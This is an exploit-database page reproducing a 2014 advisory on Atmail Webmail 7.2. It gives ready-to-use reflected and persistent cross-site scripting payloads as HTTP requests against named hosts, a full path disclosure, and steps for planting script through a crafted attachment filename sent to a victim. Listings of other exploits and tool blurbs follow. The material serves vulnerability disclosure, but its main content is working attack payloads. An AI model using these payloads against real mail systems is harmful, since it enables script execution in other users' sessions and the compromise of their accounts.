Menu

Search for hundreds of thousands of exploits

"Atmail Webmail 7.2 - Multiple Vulnerabilities"

Author

Exploit author

smash

Platform

Exploit platform

php

Release date

Exploit published date

2014-09-08

Download file

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#Title: Atmail Webmail =>7.2 - Multiple XSS & FPD
#Date: 01.27.2014
#Vendor: atmail.com
#Version: =>7.2 (Latest ATM), tested also on 7.1.1
#Authors: Smash_ & Brag / smash[at]devilteam.pl
#PoC: poczta.pl / demo.atmail.com
 
1. Cross Site Scripting
 
 a) GET - viewmessageTabNumber
 
Request:
host/mail/index.php/mail/composemessage/index/viewmessageTabNumber/3"><h1>XSS<!--
 
Injection point (line 16):
<input type="hidden" name="tabId" value="viewmessageTab3"><h1>XSS<!--
 
PoC:
https://www.poczta.pl/mail/index.php/mail/composemessage/index/viewmessageTabNumber/3"><h1>XSS<!--
 
 b) POST - filter
 
 
POST /mail/index.php/mail/mail/listfoldermessages/searching/true/selectFolder/INBOX.666/resultContext/searchResultsTab1 HTTP/1.1
Host: www.poczta.pl
searchQuery=&goBack=6&from=&to=&subject=&body=&filter=<script>alert(666)</script>
 
Alert will appear; injection point:
<div id=\"noMessageDisplay\" style=\"margin:10px;\">\n\t\t\t\tFound no messages matching <script>alert(666) (...)
 
 c) POST - Search Results Tab
 
Request:
POST /mail/index.php/mail/mail/listfoldermessages/searching/true/selectFolder/INBOX/resultContext/searchResultsTab1"%20whats="up"%20bad=" HTTP/1.1
Host: http://www.poczta.pl
 
Injection point:
<input type=\"hidden\" name=\"resultContext\" id=\"resultContext\" value=\"searchResultsTab1\" whats=\"up\" bad=\"\" \/>
 
d) POST - page
 
Request:
POST /mail/index.php/mail/mail/listfoldermessages/selectFolder/INBOX/page/2"%20xss="true"%20bad=" HTTP/1.1
Host: www.poczta.pl
 
Injection point:
<input type=\"hidden\" name=\"pageNumber\" id=\"pageNumber\" value=\"2\" xss=\"true\" bad=\"\" \/>
 
 
2. Full Path Disclosure
 
Request (GET):
demo.atmail.com/mail/index.php/mail/mail/listfoldermessages/
 
Response:
An error occurred
script 'mail/listfoldermessages.phtml' not found in path (/usr/local/atmail/webmail/application/modules/mail/views/scripts/)
 
3. Persistent XSS - Theme Color
 
Request:
GET /mail/index.php/mail/settings/webmailsave?fields%5BcssColorTheme%5D=purple"%20onload=alert(666)%20bad="&save=1 HTTP/1.1
Host: www.poczta.pl
 
Now, whenever someone will login alert will appear.
Injection point:
<body class="leaderboard-ad-off footer-ad-off '"XSS fresh blue" onload=alert(666) bad="" id="calon">
 
4. Persistent XSS - Forward a Message
 
First, compose your message and attach an image. Image name should consist
JS code, for example: "><img src=x onerror=prompt(1)>.
 
Send message to a victim, whenever someone will 'Forward' the message,
JS will be executed:
 
<a class=\"attach-btn\" href=\"#\" onClick=\"removeAttachment('bobs.\\\"><img src=x onerror=prompt(1)> (...)
 
P.S - Login and password are sent as plaintext.
                                        ... which is bad.
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "WonderCMS 3.1.3 - 'Menu' Persistent Cross-Site Scripting" webapps php "Hemant Patidar"
2020-12-02 "WordPress Plugin Wp-FileManager 6.8 - RCE" webapps php "Mansoor R"
2020-12-02 "WonderCMS 3.1.3 - Authenticated SSRF to Remote Remote Code Execution" webapps php zetc0de
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - Password Reset leading to Account Takeover" webapps php "Mufaddal Masalawala"
2020-12-02 "Simple College Website 1.0 - 'page' Local File Inclusion" webapps php Mosaaed
2020-12-02 "Car Rental Management System 1.0 - SQL Injection / Local File include" webapps php Mosaaed
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Pharmacy Store Management System 1.0 - 'id' SQL Injection" webapps php "Aydın Baran Ertemir"
2020-12-02 "WonderCMS 3.1.3 - Authenticated Remote Code Execution" webapps php zetc0de
2020-12-01 "Multi Restaurant Table Reservation System 1.0 - Multiple Persistent XSS" webapps php yunaranyancat
Release Date Title Type Platform Author
2015-09-01 "Edimax BR6228nS/BR6228nC - Multiple Vulnerabilities" webapps hardware smash
2015-08-31 "PhpWiki 1.5.4 - Multiple Vulnerabilities" webapps php smash
2015-08-31 "Edimax PS-1206MF - Web Admin Authentication Bypass" webapps hardware smash
2015-08-28 "Pluck CMS 4.7.3 - Multiple Vulnerabilities" webapps php smash
2015-08-28 "Jenkins 1.626 - Cross-Site Request Forgery / Code Execution" webapps java smash
2014-11-13 "MyBB 1.8.x - Multiple Vulnerabilities" webapps php smash
2014-09-08 "TP-Link TL-WR841N / TL-WR841ND - Multiple Vulnerabilities" webapps hardware smash
2014-09-08 "Atmail Webmail 7.2 - Multiple Vulnerabilities" webapps php smash
2014-09-08 "TP-Link TL-WR340G / TL-WR340GD - Multiple Vulnerabilities" webapps hardware smash
2014-09-08 "osCommerce 2.3.4 - Multiple Vulnerabilities" webapps php smash
2014-09-08 "Zen Cart 1.5.3 - Multiple Vulnerabilities" webapps php smash
2014-09-08 "vBulletin 5.1.x - Persistent Cross-Site Scripting" webapps php smash
2014-09-08 "phpMyFAQ 2.8.x - Multiple Vulnerabilities" webapps php smash 
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Cipher Protocols Sigalg Trusted

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Host WAF detected